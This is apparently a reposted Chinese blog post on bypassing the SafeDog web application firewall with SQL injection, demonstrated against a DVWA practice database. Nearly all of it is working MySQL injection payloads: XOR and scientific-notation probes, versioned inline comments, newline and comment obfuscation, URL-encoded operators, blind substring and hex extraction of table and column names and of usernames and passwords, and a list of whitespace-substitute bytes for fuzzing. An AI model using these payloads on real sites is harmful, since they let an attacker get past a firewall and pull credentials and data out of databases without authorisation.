• 关于安全狗绕过的一些小思路


    安全狗

    1. 判断类型:payload:id=0=0-->在数据库中id=0=0 or id='0=0'
    2. and 1=1 注入点判断:使用XOR语法:id=-1 XOR false 或 id=-1 XOR true
      科学记数法绕过:id=1e0 和 id=1e9   URL编码:id=1 %26%26 FALSE 或 id=1 %26%26 TRUE         ||语句:id=-1 || true 或id=-1 || false             使用hex值判断:id=1 and hex(0)
    3. 判断长度,即orderby,版本号绕过id=1 order /*!40448by*/  这个版本号有很多可以多尝试几个,这个原理就是在mysql数据库当中/*!加上我们指定的版本号来执行sql语句,针对于union select也有效,也可以使用注释符加换行符绕过:id=1 order -- +sss%0A by 3 或者id=1 order %23%0A by 3在最新版当中order by的内联注释已经没有用了,所以我们暂不使用。
    4. 确认当前数据库长度 直接就 and length(database())=4会被过滤,但是使用html编码+4,与此同时也可以利用这一项来判断版本长度,对于判断版本大小可以使用%26%26 (ascii(@@version)=53)
    5. 判断库中表的数量:id=1 %26%26 (n=(select count(/*!table_name*/) from information_schema.tables where table_schema=0x64767761))--+此处n为猜测的表的数量,table_schema是要猜测的表明。
      第二种方法判断表的数量:%26%26 (hex(substr((select concat(/*!table_name*/) from information_schema.tables where table_schema=0x64767761 limit n,m),1,2)))此处n,m相互递增,然后当我们到达最大表名的时候即n再往就不会返回参数了。
      %26%26 (hex(substr((select concat(/*!table_name*/) from information_schema.tables where table_schema=0x64767761 limit 1,2),n,1)))=75我们可以根据此处来强制爆出表名,当然这十分的耗时间,我们可以自行编写一个脚本,变量为n,当没有字符后就为0。
    6. 同理我们也可以猜取字段了,之前我们已经猜出表名了,此时我们同上但是需要加两个条件在where语句后面%26%26 (8=(select count(/*!column_name*/) from information_schema.columns where table_name=0x7573657273 %26%26 table_schema=0x64767761))这是因为之前我们有加库名测出来有26个字段名,因为他的表名users有很多库都有,我们需要指定一个库,但是and被过滤,我们替换为%26%26
    7. 猜解列名:%26%26 (hex(substr((select concat(/*!column_name*/) from information_schema.columns where table_schema=0x64767761 %26%26 table_name=0x7573657273 limit 0,1),6,1))=69)我们利用上面的方法综合起来就可以得到了。
    8. 猜解有多少数据在一个列当中:%26%26(12=(select count(/*!列名*/) from 当前数据库表名)) 也可以查看别的表的:%26%26(5=(select count(/*!user_id*/) from dvwa.users))
    9. 猜解具体内容:%26%26 (hex(substr((select concat(/*!user_id*/) from dvwa.users limit 0,1),1,1))=70)
    10. 关于unionselect绕过,多种方法 第一种方法:使用协议版本号绕过id=-1 union /*!41445select*/ 1,group_concat(schema_name),3 from information_schema.schemata其实有很多协议版本号可以使用只要低于我们的mysql版本,而在之前我们已经能够使用,具体原理就是MySQL允许你指定感叹号后面的版本号,注释中的语法仅在版本大于或等于指定的版本号时执行。 第二种方法:加入注释符混淆:id=0 --+/*%0aunion select 1,2,3 %0a--+*/
      id=-1 --+/*%0Aunion select 1,group_concat(schema_name),3 from information_schema.schemata%20%0A--+*/
      id=-1%20%20union%20/*!44444select*/%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273 %26%26 table_schema=0x64767761 第三种方法:替换换行符和空格,组合绕过:id=0 union all%23%0a select 1,2,3
      id=0 union --+X%0A select 1,2,3%23
      第四种:经过模糊测试:id=-1 union-- -x%0Aselect~1,concat(1,username,1,password),3 from users
    以下字符可以用作空格。
    
    09  水平标签
    0A  新的一行
    0B 垂直标签
    0C 新页面
    0D 回车
    A0 不间断的空格
    20 空格
    我们可以利用这些或更多的字符去进行模糊测试然后找到更多的方法。
  • 相关阅读:
    输入框组
    下拉菜单
    地毯文(立足根本的基础细节篇)
    按钮组 button group
    offices web apps server2013 部署
    appium学习
    python练习
    Jmeter分布式测试
    centos安装远程桌面
    进程与线程
  • 原文地址:https://www.cnblogs.com/ophxc/p/12790190.html
Copyright © 2020-2023  润新知